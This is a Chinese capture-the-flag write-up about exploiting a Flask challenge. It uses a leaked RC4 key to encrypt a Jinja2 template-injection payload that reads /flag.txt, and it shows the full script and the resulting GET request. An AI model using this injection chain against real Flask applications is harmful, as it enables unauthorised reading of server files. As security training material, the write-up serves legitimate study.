在网页端进入报错页面 /secret?secret=flag.txt,发现是flask的报错,显示了部分源码。可以看到是flask,python版本是2.7

加密算法使用的是RC4,密钥泄漏了。将所发送内容解密之后会被渲染,因此考虑到可能存在模版注入。
找了一个RC4加密脚本,再次基础上输入密钥并尝试文件读取

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    print("加密后的字符串是:%s" %quote(cipher))
    #print("加密后的输出(经过编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

使用的模版注入payload为

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}

运行后得到需要传递的参数为:

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

GET
/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”